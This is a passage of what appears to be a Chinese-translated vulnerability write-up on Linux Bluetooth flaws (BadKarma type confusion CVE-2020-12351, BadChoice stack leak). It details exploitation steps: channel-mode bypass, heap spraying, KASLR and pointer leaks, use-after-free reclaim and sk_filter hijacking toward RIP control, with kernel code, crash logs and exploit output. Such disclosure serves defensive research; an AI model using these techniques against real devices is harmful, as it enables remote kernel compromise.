struct a2mp_info_rsp {
/* typedef __u8 */ unsigned char id; /* 0 0x1 */
/* typedef __u8 */ unsigned char status; /* 0x1 0x1 */
/* typedef __le32 -> __u32 */ unsigned int total_bw; /* 0x2 0x4 */
/* typedef __le32 -> __u32 */ unsigned int max_bw; /* 0x6 0x4 */
/* typedef __le32 -> __u32 */ unsigned int min_latency; /* 0xa 0x4 */
/* typedef __le16 -> __u16 */ short unsigned int pal_cap; /* 0xe 0x2 */
/* typedef __le16 -> __u16 */ short unsigned int assoc_size; /* 0x10 0x2 */
/* size: 18, cachelines: 1, members: 7 */
/* last cacheline: 18 bytes */
} __attribute__((__packed__));
通过在发送 `A2MP_GETINFO_REQ` 之前发送有趣的指令来填充栈帧可以利用这个漏洞。这里有趣的指令指的是那些将指针放在重用
`a2mp_getinfo_req()` 函数后的同一个栈帧中的指令。通过这种做法，未初始化的变量可能会包含先前推入栈的指针。
注意，以 `CONFIG_INIT_STACK_ALL_PATTERN=y` 编译的内核不太容易受到这样的攻击。举个例子，在 ChromeOS 上，
_BadChoice_ 只能返回 0xAA。然而，这个选项在流行的 Linux 发行版上似乎并没有默认启用。
### BadKarma: 基于堆类型的混淆（CVE-2020-12351）
我在尝试去触发 _BadChoice_ 确认其可利用时发现了第三个漏洞。受害者的机器意外崩溃了并输出以下调用栈跟踪：
[ 445.440736] general protection fault: 0000 [#1] SMP PTI
[ 445.440740] CPU: 4 PID: 483 Comm: kworker/u17:1 Not tainted 5.4.0-40-generic #44-Ubuntu
[ 445.440741] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 445.440764] Workqueue: hci0 hci_rx_work [bluetooth]
[ 445.440771] RIP: 0010:sk_filter_trim_cap+0x6d/0x220
[ 445.440773] Code: e8 18 e1 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 4c 8b 78 18 48 89 4d b0 <41> f6 47 02 08 0f 85 41 01 00 00 0f 1f 44 00 00 49 8b 47 30 49 8d
[ 445.440776] RSP: 0018:ffffa86b403abca0 EFLAGS: 00010286
[ 445.440778] RAX: ffffffffc071cc50 RBX: ffff8e95af6d7000 RCX: 0000000000000000
[ 445.440780] RDX: 0000000000000000 RSI: ffff8e95ac533800 RDI: ffff8e95af6d7000
[ 445.440781] RBP: ffffa86b403abd00 R08: ffff8e95b452f0e0 R09: ffff8e95b34072c0
[ 445.440782] R10: ffff8e95acd57818 R11: ffff8e95b456ae38 R12: ffff8e95ac533800
[ 445.440784] R13: 0000000000000000 R14: 0000000000000001 R15: 30478b4800000208
[ 445.440786] FS: 0000000000000000(0000) GS:ffff8e95b4500000(0000) knlGS:0000000000000000
[ 445.440788] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 445.440789] CR2: 000055f371aa94a8 CR3: 000000022dc0a005 CR4: 00000000003606e0
[ 445.440791] Call Trace:
[ 445.440817] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[ 445.440838] l2cap_data_rcv+0x351/0x510 [bluetooth]
[ 445.440857] l2cap_data_channel+0x29f/0x470 [bluetooth]
[ 445.440875] l2cap_recv_frame+0xe5/0x300 [bluetooth]
[ 445.440878] ? skb_release_all+0x26/0x30
[ 445.440896] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[ 445.440914] hci_rx_work+0x186/0x360 [bluetooth]
[ 445.440919] process_one_work+0x1eb/0x3b0
[ 445.440921] worker_thread+0x4d/0x400
[ 445.440924] kthread+0x104/0x140
[ 445.440927] ? process_one_work+0x3b0/0x3b0
[ 445.440929] ? kthread_park+0x90/0x90
[ 445.440932] ret_from_fork+0x35/0x40
查看一下 `l2cap_data_rcv()`，当 ERTM（增强型重传模式）或者流模式被使用时，我们可以看到 `sk_filter()` 被调用（类似于
TCP）：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb)
{
...
if ((chan->mode == L2CAP_MODE_ERTM ||
chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb))
goto drop;
...
}
这确实就是 A2MP 信道的情况（信道可以与网络端口做对照）：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static struct l2cap_chan *a2mp_chan_open(struct l2cap_conn *conn, bool locked)
{
struct l2cap_chan *chan;
int err;
chan = l2cap_chan_create();
if (!chan)
return NULL;
...
chan->mode = L2CAP_MODE_ERTM;
...
return chan;
}
...
static struct amp_mgr *amp_mgr_create(struct l2cap_conn *conn, bool locked)
{
struct amp_mgr *mgr;
struct l2cap_chan *chan;
mgr = kzalloc(sizeof(*mgr), GFP_KERNEL);
if (!mgr)
return NULL;
...
chan = a2mp_chan_open(conn, locked);
if (!chan) {
kfree(mgr);
return NULL;
}
mgr->a2mp_chan = chan;
chan->data = mgr;
...
return mgr;
}
查看 `amp_mgr_create()`，问题所在非常清晰。即，`chan->data` 的类型是 `struct amp_mgr`，鉴于
`sk_filter()` 获取一个 `struct sock` 类型的参数，这意味着我们有了一个设计上的远程类型混淆漏洞。这个混淆漏洞在 Linux 内核
4.8 引入，到目前为止仍然没有被更改。
## 利用
_BadChoice_ 漏洞可以用 _BadVibes_ 和 _BadKarma_ 漏洞来链接最终实现 RCE。在这篇博文中，我们将只会关注使用
_BadKarma_ 的方法，有以下理由：
* 这并不仅限于蓝牙 5。
* 这不需要受害者去扫描。
* 这可能实现特定设备的针对性攻击
_BadVibes_ 攻击，换句话说，只是一个广播，因此只有一台机器会被成功利用，其余监听到同一条消息的设备都将崩溃。
### 绕过 BadKarma
讽刺的是，为了利用 _BadKarma_ ，我们首先得摆脱 _BadKarma_ 。回顾刚才我们有一个设计上的类型混淆漏洞，只要 A2MP 信道被配置为
ERTM/流模式，在 `sk_filter()` 中不触发 panic 的情况下，我们就不能通过 `l2cap_data_rcv()` 到达 A2MP
的子程序。
查看 `l2cap_data_channel()`，我们会发现采取不同的路由的唯一一个途径是重新配置信道模式为
`L2CAP_MODE_BASIC`。这将“基本上”允许我们直接调用A2MP 接收处理程序：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static void l2cap_data_channel(struct l2cap_conn *conn, u16 cid,
struct sk_buff *skb)
{
struct l2cap_chan *chan;
chan = l2cap_get_chan_by_scid(conn, cid);
...
switch (chan->mode) {
...
case L2CAP_MODE_BASIC:
/* If socket recv buffers overflows we drop data here
* which is *bad* because L2CAP has to be reliable.
* But we don't have any other choice. L2CAP doesn't
* provide flow control mechanism. */
if (chan->imtu < skb->len) {
BT_ERR("Dropping L2CAP data: receive buffer overflow");
goto drop;
}
if (!chan->ops->recv(chan, skb))
goto done;
break;
case L2CAP_MODE_ERTM:
case L2CAP_MODE_STREAMING:
l2cap_data_rcv(chan, skb);
goto done;
...
}
...
}
然而，重新配置信道模式是可能的吗？根据规范，对于 A2MP 信道使用 ERTM 或者流模式是强制性的。
> 对于任何建立在 AMP 上的 L2CAP 信道，蓝牙核心通过强制使用增强型重传模式或者流模式来保持蓝牙核心上的协议和配置一定程度上的可靠性。
>
>
> 来源：<https://www.bluetooth.org/DocMan/handlers/DownloadDoc.ashx?doc_id=421043>
由于一些原因，在规范中并没有描述这个事实，不过 Linux 的实现中确实允许我们将需要的信道模式封装在 `L2CAP_CONF_UNACCEPT`
配置响应中来实现从任意的信道模式切换到 `L2CAP_MODE_BASIC`：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c`
static inline int l2cap_config_rsp(struct l2cap_conn *conn,
struct l2cap_cmd_hdr *cmd, u16 cmd_len,
u8 *data)
{
struct l2cap_conf_rsp *rsp = (struct l2cap_conf_rsp *)data;
...
scid = __le16_to_cpu(rsp->scid);
flags = __le16_to_cpu(rsp->flags);
result = __le16_to_cpu(rsp->result);
...
chan = l2cap_get_chan_by_scid(conn, scid);
if (!chan)
return 0;
switch (result) {
...
case L2CAP_CONF_UNACCEPT:
if (chan->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) {
...
result = L2CAP_CONF_SUCCESS;
len = l2cap_parse_conf_rsp(chan, rsp->data, len,
req, sizeof(req), &result);
...
}
fallthrough;
...
}
...
}
这个函数会调用子程序 `l2cap_parse_conf_rsp()` 。如果选项类型 `L2CAP_CONF_RFC` 被指定，并且当前的信道模式不是
`L2CAP_MODE_BASIC` 就有机会更改为我们想要的：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/l2cap_core.c
static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len,
void *data, size_t size, u16 *result)
{
...
while (len >= L2CAP_CONF_OPT_SIZE) {
len -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);
if (len < 0)
break;
switch (type) {
...
case L2CAP_CONF_RFC:
if (olen != sizeof(rfc))
break;
memcpy(&rfc, (void *)val, olen);
...
break;
...
}
}
if (chan->mode == L2CAP_MODE_BASIC && chan->mode != rfc.mode)
return -ECONNREFUSED;
chan->mode = rfc.mode;
...
}
自然而然的问题是，在发送配置响应之前，我们是否首先需要接收来自受害者的配置请求？这似乎是协议的一个弱点 ——
答案是否定的。此外，无论受害者与我们如何交涉，我们可以发送回一个 `L2CAP_CONF_UNACCEPT` 响应，受害者将会愉快地接受我们的建议。
通过配置响应，我们现在能够到达 A2MP 指令并且能够利用 _BadChoice_
取回所有我们需要的信息（看之后的章节）。一旦我们准备去触发这个类型混淆，我们可以简单地通过断开和连接信道来重新创建 A2MP 信道，并将信道模式设置回
_BadKarma_ 所需的 ERTM。
### 探索 sk_filter()
按照我们的理解， _BadKarma_ 的问题是将一个 `struct amp_mgr` 对象传递给了 `sk_filter()`，然而预期的对象是
`struct sock`。换句话说，在 `struct sock` 中的字段错误地映射到了 `struct amp_mgr`
的字段。因此，这将导致解引用无效的指针最终造成 panic 错误。回顾之前看到的 panic 日志，这里记录了发生了什么，直接导致了 _BadKarma_
的发现。
我们能否控制指针解引用，或者说控制其他在 `struct amp_mgr` 内的成员以影响 `sk_filter()` 的代码流？让我们查看一下
`sk_filter()` 并追踪 `struct sock *sk` 的用法去理解子程序中相关的成员。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline int sk_filter(struct sock *sk, struct sk_buff *skb)
{
return sk_filter_trim_cap(sk, skb, 1);
}
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
int err;
struct sk_filter *filter;
/*
* If the skb was allocated from pfmemalloc reserves, only
* allow SOCK_MEMALLOC sockets to use it as this socket is
* helping free memory
*/
if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) {
NET_INC_STATS(sock_net(sk), LINUX_MIB_PFMEMALLOCDROP);
return -ENOMEM;
}
err = BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb);
if (err)
return err;
err = security_sock_rcv_skb(sk, skb);
if (err)
return err;
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter) {
struct sock *save_sk = skb->sk;
unsigned int pkt_len;
skb->sk = sk;
pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
skb->sk = save_sk;
err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
}
rcu_read_unlock();
return err;
}
`sk` 的第一个用途是在 `sock_flag()`，尽管该函数只是检查一些标识位，仅在 `skb_pfmemalloc()` 返回 true
时发生。相反，让我们看一下 `BPF_CGROUP_RUN_PROG_INET_INGRESS()`，看看它对套接字结构做了什么：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf-cgroup.h
#define BPF_CGROUP_RUN_PROG_INET_INGRESS(sk, skb) \
({ \
int __ret = 0; \
if (cgroup_bpf_enabled) \
__ret = __cgroup_bpf_run_filter_skb(sk, skb, \
BPF_CGROUP_INET_INGRESS); \
\
__ret; \
})
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/cgroup.c
int __cgroup_bpf_run_filter_skb(struct sock *sk,
struct sk_buff *skb,
enum bpf_attach_type type)
{
...
if (!sk || !sk_fullsock(sk))
return 0;
if (sk->sk_family != AF_INET && sk->sk_family != AF_INET6)
return 0;
...
}
同样地，`sk_fullsock()` 也会检查一些标志位，没有做任何有趣的事情。进一步探索，注意，为了继续运行 `sk->sk_family` 必须是
`AF_INET=2` 或者 `AF_INET6=10`。该字段位于 `struct sock` 偏移 0x10 处：
// pahole -E -C sock --hex bluetooth.ko
struct sock {
struct sock_common {
...
short unsigned int skc_family; /* 0x10 0x2 */
...
} __sk_common; /* 0 0x88 */
...
struct sk_filter * sk_filter; /* 0x110 0x8 */
...
/* size: 760, cachelines: 12, members: 88 */
/* sum members: 747, holes: 4, sum holes: 8 */
/* sum bitfield members: 40 bits (5 bytes) */
/* paddings: 1, sum paddings: 4 */
/* forced alignments: 1 */
/* last cacheline: 56 bytes */
} __attribute__((__aligned__(8)));
观察 `struct amp_mgr` 的偏移 0x10 处，我们认识到该字段映射到了 `struct l2cap_conn` 指针：
// pahole -E -C amp_mgr --hex bluetooth.ko
struct amp_mgr {
...
struct l2cap_conn * l2cap_conn; /* 0x10 0x8 */
...
/* size: 112, cachelines: 2, members: 11 */
/* sum members: 110, holes: 1, sum holes: 2 */
/* last cacheline: 48 bytes */
};
因为这是一个指向堆对象的指针，堆对象与分配大小对齐（最小 32 字节），这意味着该指针的较低字节不能具有
`__cgroup_bpf_run_filter_skb()` 所要求的值 2 或 10。经证实，我们知道这个子程序永远返回 0
无论其他字段有什么值。同样地，子程序 `security_sock_rcv_skb()` 要求相同的条件，否则返回 0 。
这使得 `sk->sk_filter` 成为唯一可能被污染破坏的成员。我们之后会看到它将会在控制 `struct sk_filter`
上很有用，但是首先，注意 `sk_filter` 位于偏移 0x110 ，然而 `struct amp_mgr` 的大小只有 112 = 0x70
字节。难道这不是我们所能控制的吗？既肯定也否定 ——
通常情况下我们不能控制它，然而如果我们有一个途径去构造堆，这样就很容易完全控制指针了。细致地说，`struct amp_mgr` 大小有 112 字节（在
65 到 128 之间），因此它被分配在 kmalloc-128 slab 中。通常情况下，在 slab
的内存块不包含像前面块头一样的元信息，因为目标是最小化碎片。同时，内存块是连续的，因此为了控制位于偏移 0x110
的指针，我们必须取得一个堆群，那里有我们想要的位于 `struct amp_mgr` 之后第二个块的 0x10 偏移处的指针。
### 寻找堆原语
为了能够构造 kmalloc-128 slab，我们需要一个指令能够分配（最好是能够控制）65 —— 128 字节的内存。与其他 L2CAP
实现不同，Linux 实现中堆的使用非常少。快速搜索 `/net/bluetooth/` 中的 `kmalloc()` 或 `kzalloc()`
没有什么用 ——
或者至少没有什么能够控制或以跨过多个命令的形式存在。我们需要的原语是一个可以分配任意字节的内存，并拷贝攻击者控制的数据，在我们释放它之前可以一直保留。
这听起来像是 `kmemdup()`，对吗？出人意料的是，A2MP 协议恰好给我们提供了这样一个原语。我们可以发起一个
`A2MP_GETAMPASSOC_RSP` 指令来使用 `kmemdup()` 去复制内存并且保存内存地址于一个控制的结构：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/bluetooth/a2mp.c
static int a2mp_getampassoc_rsp(struct amp_mgr *mgr, struct sk_buff *skb,
struct a2mp_cmd *hdr)
{
...
u16 len = le16_to_cpu(hdr->len);
...
assoc_len = len - sizeof(*rsp);
...
ctrl = amp_ctrl_lookup(mgr, rsp->id);
if (ctrl) {
u8 *assoc;
assoc = kmemdup(rsp->amp_assoc, assoc_len, GFP_KERNEL);
if (!assoc) {
amp_ctrl_put(ctrl);
return -ENOMEM;
}
ctrl->assoc = assoc;
ctrl->assoc_len = assoc_len;
ctrl->assoc_rem_len = assoc_len;
ctrl->assoc_len_so_far = 0;
amp_ctrl_put(ctrl);
}
...
}
为了让 `amp_ctrl_lookup()` 返回一个控制的结构，我们必须使用 `A2MP_GETINFO_RSP` 指令，将它加入到列表中。
这几乎是一个完美的堆原语，因为大小和内容可以是任意的！唯一的缺点就是没有合适的原语可以允许我们去释放这些分配的内存。目前看起来只有关闭 HCI
连接这一条路来实现释放它们，这是一个比较慢的操作。然而，要理解我们如何以一种受控的方式释放分配(例如，释放每秒钟的分配以创建漏洞)，我们需要花费更多的精力去关注内存管理器。注意，当我们将一个新的内存地址存储于
`ctrl->assoc`
之中，我们并不释放之前存储在那里的内存块。当我们覆盖它时，这个内存块的内容就会被丢失。为了利用这一行为，我们可以用一个不同大小的分配来重写每一秒的
`ctrl->assoc`，一旦我们关闭了 HCI 连接，另一半将被释放，而我们覆盖的部分仍然被分配。
### 控制越界读取
所以为什么我们想要有一个堆原语？回顾一下这个想法是源自于我们需要构造堆并且实现一个群，其中我们控制的内存块位于距离 `struct amp_mgr`
对象的一个内存块的位置。通过这种做法，我们可以控制位于偏移 0x110 处的的值，它代表了 `sk_filter`
指针。因此，当我们触发类型混淆时，我们可以解引用一个任意的指针。
以下基本技术在使用 SLUB 分配器的 Ubuntu 上可以相当可靠地工作：
1. 分配大量大小为 128 字节的对象填充 kmalloc-128 slabs。
2. 创建一个新的 A2MP 信道并且希望 `struct amp_mgr` 对象与被喷射对象相邻。
3. 触发类型混淆并且实现一次被控的越界读取。
为了验证我们的堆喷射是成功的，我们首先可以查询 `/proc/slabinfo` 为了获取受害者机器上有关 kmalloc-128 的信息：
$ sudo cat /proc/slabinfo
slabinfo - version: 2.1
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab> : tunables <limit> <batchcount> <sharedfactor> : slabdata <active_slabs> <num_slabs> <sharedavail>
...
kmalloc-128 1440 1440 128 32 1 : tunables 0 0 0 : slabdata 45 45 0
...
在堆喷射之后，我们可以再一次请求，发现 `active_objs` 增加了：
$ sudo cat /proc/slabinfo
...
kmalloc-128 1760 1760 128 32 1 : tunables 0 0 0 : slabdata 55 55 0
...
在上面的示例中，我们喷射了 320 个对象。现在如果我们在这些刚被喷射过的对象的周围分配 `struct amp_mgr`
对象，我们在尝试解引用一个被控的指针（观察 RAX 的值）也许可以触发一个 panic 错误：
[ 58.881623] general protection fault: 0000 [#1] SMP PTI
[ 58.881639] CPU: 3 PID: 568 Comm: kworker/u9:1 Not tainted 5.4.0-48-generic #52-Ubuntu
[ 58.881645] Hardware name: Acer Aspire E5-575/Ironman_SK , BIOS V1.04 04/26/2016
[ 58.881705] Workqueue: hci0 hci_rx_work [bluetooth]
[ 58.881725] RIP: 0010:sk_filter_trim_cap+0x65/0x220
[ 58.881734] Code: 00 00 4c 89 e6 48 89 df e8 b8 c5 af ff 41 89 c5 85 c0 75 62 48 8b 83 10 01 00 00 48 85 c0 74 56 49 8b 4c 24 18 49 89 5c 24 18 <4c> 8b 78 18 48 89 4d b0 41 f6 47 02 08 0f 85 41 01 00 00 0f 1f 44
[ 58.881740] RSP: 0018:ffffbbccc10d3ca0 EFLAGS: 00010202
[ 58.881748] RAX: 4343434343434343 RBX: ffff96da38f70300 RCX: 0000000000000000
[ 58.881753] RDX: 0000000000000000 RSI: ffff96da62388300 RDI: ffff96da38f70300
[ 58.881758] RBP: ffffbbccc10d3d00 R08: ffff96da38f67700 R09: ffff96da68003340
[ 58.881763] R10: 00000000000301c0 R11: 8075f638da96ffff R12: ffff96da62388300
[ 58.881767] R13: 0000000000000000 R14: 0000000000000001 R15: 0000000000000008
[ 58.881774] FS: 0000000000000000(0000) GS:ffff96da69380000(0000) knlGS:0000000000000000
[ 58.881780] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 58.881785] CR2: 000055f861e4bd20 CR3: 000000024c80a001 CR4: 00000000003606e0
[ 58.881790] Call Trace:
[ 58.881869] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[ 58.881938] l2cap_data_rcv+0x351/0x510 [bluetooth]
[ 58.881995] l2cap_data_channel+0x29f/0x470 [bluetooth]
[ 58.882054] l2cap_recv_frame+0xe5/0x300 [bluetooth]
[ 58.882067] ? __switch_to_asm+0x40/0x70
[ 58.882124] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[ 58.882174] hci_rx_work+0x186/0x360 [bluetooth]
[ 58.882187] process_one_work+0x1eb/0x3b0
[ 58.882197] worker_thread+0x4d/0x400
[ 58.882207] kthread+0x104/0x140
[ 58.882215] ? process_one_work+0x3b0/0x3b0
[ 58.882223] ? kthread_park+0x90/0x90
[ 58.882233] ret_from_fork+0x35/0x40
查看受害者机器在 RDI 存储的内存地址指向的空间，我们可以看到：
$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff96da38f70300
0xffff96da38f70300: 0xffff96da601e7d00 0xffffffffc0d38760
0xffff96da38f70310: 0xffff96da60de2600 0xffff96da61c13400
0xffff96da38f70320: 0x0000000000000000 0x0000000000000001
0xffff96da38f70330: 0x0000000000000000 0x0000000000000000
0xffff96da38f70340: 0xffff96da38f70340 0xffff96da38f70340
0xffff96da38f70350: 0x0000000000000000 0x0000000000000000
0xffff96da38f70360: 0xffff96da38f70360 0xffff96da38f70360
0xffff96da38f70370: 0x0000000000000000 0x0000000000000000
0xffff96da38f70380: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f70390: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703a0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703b0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703c0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703d0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703e0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703f0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f70400: 0x4141414141414141 0x4242424242424242
0xffff96da38f70410: 0x4343434343434343 0x4444444444444444
0xffff96da38f70420: 0x4545454545454545 0x4646464646464646
0xffff96da38f70430: 0x4747474747474747 0x4848484848484848
位于 `0xffff96da38f70410` 的值表明了 `sk_filter()` 确实尝试对我们喷射的位于偏移 0x10 的指针解引用，从
`struct amp_mgr` 看，是位于偏移 0x110。好极了！
### 泄漏内存布局
现在我们已经有了构造堆的方法，为 _BadKarma_ 攻击做好了准备。因此，可以完全控制 `sk_filter`
指针。问题是，我们应该把它指向哪里？为了使这个原语有用，我们必须将它指向一个我们可以控制其内容的内存地址。这就是 _BadChoice_
漏洞发挥作用的地方。这个漏洞有可能揭示内存布局，并帮助我们实现控制已知地址的内存块的目标。
如前所述，为了利用未初始化的堆栈变量 bug，我们必须首先发送一些不同的命令，用有趣的数据填充栈帧(例如指向堆的指针或与 ROP 链相关的 .text
段)。然后，我们可以发送存在漏洞的命令来接收数据。
通过尝试一些随机的 L2CAP 命令，我们可以观察到，如果事先不使用任何特殊命令就触发 BadChoice，那么指向内核镜像的 .text
段指针就会被泄漏。此外，通过发送 `L2CAP_CONF_RSP` 并尝试事先将 A2MP
通道重新配置到`L2CAP_MODE_ERTM`，可以泄漏偏移量为 0x110 的结构 `l2cap_chan` 对象的地址。该对象的大小为 792
字节，在 kmalloc-1024 slab 中被分配。
// pahole -E -C l2cap_chan --hex bluetooth.ko
struct l2cap_chan {
...
struct delayed_work {
struct work_struct {
/* typedef atomic_long_t -> atomic64_t */ struct {
/* typedef s64 -> __s64 */ long long int counter; /* 0x110 0x8 */
} data; /* 0x110 0x8 */
...
} work; /* 0x110 0x20 */
...
} chan_timer; /* 0x110 0x58 */
...
/* size: 792, cachelines: 13, members: 87 */
/* sum members: 774, holes: 9, sum holes: 18 */
/* paddings: 4, sum paddings: 16 */
/* last cacheline: 24 bytes */
};
这个对象属于A2MP通道，可以通过破坏信道来释放它。这是很有用的，因为它允许我们在 UAF 攻击时应用相同的策略。
考虑以下技巧：
1. 泄漏 `struct l2cap_chan` 对象的地址。
2. 通过销毁 A2MP 信道来释放 `struct l2cap_chan` 对象。
3. 重连 A2MP 信道，并且用堆原语喷射 kmalloc-1024 slab。
4. 它可能会回收前一个 `struct l2cap_chan` 对象的地址。
换句话说，属于 `struct l2cap_chan` 的地址现在可能属于我们了！虽然所使用的技术非常基础，但在跑有 SLUB 分配器的 Ubuntu
上可以非常可靠地工作。一个值得担忧的问题是，当重新连接 A2MP 信道时，之前的 `struct l2cap_chan` 可能会在堆喷射回收位置之前被新的
`struct l2cap_chan` 重新占用。如果是这种情况，可以使用多个连接，即使另一个连接已经关闭，也有能力继续喷射。
注意，在 kmalloc-1024 slab 中分配对象比在 kmalloc-128 slab 中分配对象要复杂一些，因为:
* ACL MTU 通常小于 1024 字节（可以用 hciconfig 检查）。
* A2MP 信道的默认 MTU 值是 `L2CAP_A2MP_DEFAULT_MTU=670` 字节。
这两个 MTU 限制都很容易绕过。也就是说，我们可以通过将请求分割成多个 L2CAP 报文来绕过 ACL MTU 并且我们可以通过发送
`L2CAP_CONF_MTU` 响应并将其配置为 0xffff 字节来绕过 A2MP
MTU。同样，如果没有发送请求，蓝牙规范为什么没有明确禁止解析配置响应?
让我们尝试一下这个技巧：
$ gcc -o exploit exploit.c -lbluetooth && sudo ./exploit XX:XX:XX:XX:XX:XX
[*] Opening hci device...
[*] Connecting to victim...
[+] HCI handle: 100
[*] Connecting A2MP channel...
[*] Leaking A2MP kernel stack memory...
[+] Kernel address: ffffffffad2001a4
[+] KASLR offset: 2b600000
[*] Preparing to leak l2cap_chan address...
[*] Leaking A2MP kernel stack memory...
[+] l2cap_chan address: ffff98ee5c62fc00
[*] Spraying kmalloc-1024...
请注意两个泄漏的指针的最重要字节的不同之处。通过观察较高的字节，我们可以做出有根据的猜测(或查阅 Linux
文档)，以确定它们是属于一个段、堆还是栈。为了确认我们确实能够回收 `struct l2cap_chan`
的地址，我们可以使用以下命令检查受害者机器上的内存：
$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff98ee5c62fc00
0xffff98ee5c62fc00: 0x4141414141414141 0x4242424242424242
0xffff98ee5c62fc10: 0x4343434343434343 0x4444444444444444
0xffff98ee5c62fc20: 0x4545454545454545 0x4646464646464646
0xffff98ee5c62fc30: 0x4747474747474747 0x4848484848484848
...
0xffff98ee5c62fd00: 0x6161616161616161 0x6262626262626262
0xffff98ee5c62fd10: 0x6363636363636363 0x6464646464646464
0xffff98ee5c62fd20: 0x6565656565656565 0x6666666666666666
0xffff98ee5c62fd30: 0x6767676767676767 0x6868686868686868
内存内容看起来非常有希望！请注意，使用一个模式去喷射是很有用的，因为它允许我们立即识别内存块，并了解当出现 panic 错误时，哪些偏移量被取消引用。
### 把它们都放在一起
我们现在有了完成 RCE 所需的所有原语：
1. 我们可以控制一个地址已知的内存块（称为“有效载荷”）。
2. 我们可以泄漏一个 .text 段指针，并构建一个 ROP 链，我们可以将其存储在有效负载中。
3. 我们可以完全控制 `sk_filter` 字段，并将其指向我们的有效载荷。
#### 实现 RIP 控制
让我们回顾一下 `sk_filter_trim_cap()`，并理解为什么控制 `sk_filter` 是有益的。
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap)
{
...
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter) {
struct sock *save_sk = skb->sk;
unsigned int pkt_len;
skb->sk = sk;
pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
skb->sk = save_sk;
err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
}
rcu_read_unlock();
return err;
}
由于我们控制 `filter` 的值，我们也可以通过在负载中偏移量 0x18 处放置指针来控制 `filter->prog`。也就是说，这是 `prog`
的偏移量：
// pahole -E -C sk_filter --hex bluetooth.ko
struct sk_filter {
...
struct bpf_prog * prog; /* 0x18 0x8 */
/* size: 32, cachelines: 1, members: 3 */
/* sum members: 28, holes: 1, sum holes: 4 */
/* forced alignments: 1, forced holes: 1, sum forced holes: 4 */
/* last cacheline: 32 bytes */
} __attribute__((__aligned__(8)));
`struct buf_prog` 的结构是：
// pahole -E -C bpf_prog --hex bluetooth.ko
struct bpf_prog {
...
unsigned int (*bpf_func)(const void *, const struct bpf_insn *); /* 0x30 0x8 */
union {
...
struct bpf_insn {
/* typedef __u8 */ unsigned char code; /* 0x38 0x1 */
/* typedef __u8 */ unsigned char dst_reg:4; /* 0x39: 0 0x1 */
/* typedef __u8 */ unsigned char src_reg:4; /* 0x39:0x4 0x1 */
/* typedef __s16 */ short int off; /* 0x3a 0x2 */
/* typedef __s32 */ int imm; /* 0x3c 0x4 */
} insnsi[0]; /* 0x38 0 */
}; /* 0x38 0 */
/* size: 56, cachelines: 1, members: 20 */
/* sum members: 50, holes: 1, sum holes: 4 */
/* sum bitfield members: 10 bits, bit holes: 1, sum bit holes: 6 bits */
/* last cacheline: 56 bytes */
};
函数 `bpf_prog_run_save_cb()` 将 `filter->prog` 传递给 `BPF_PROG_RUN()` ：
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog *prog,
struct sk_buff *skb)
{
...
res = BPF_PROG_RUN(prog, skb);
...
return res;
}
static inline u32 bpf_prog_run_save_cb(const struct bpf_prog *prog,
struct sk_buff *skb)
{
u32 res;
migrate_disable();
res = __bpf_prog_run_save_cb(prog, skb);
migrate_enable();
return res;
}
然后用 `ctx`、`prog->insnsi` 和 `prog->bpf_func()` 作为参数调用
`bpf_dispatcher_nop_func()` ：
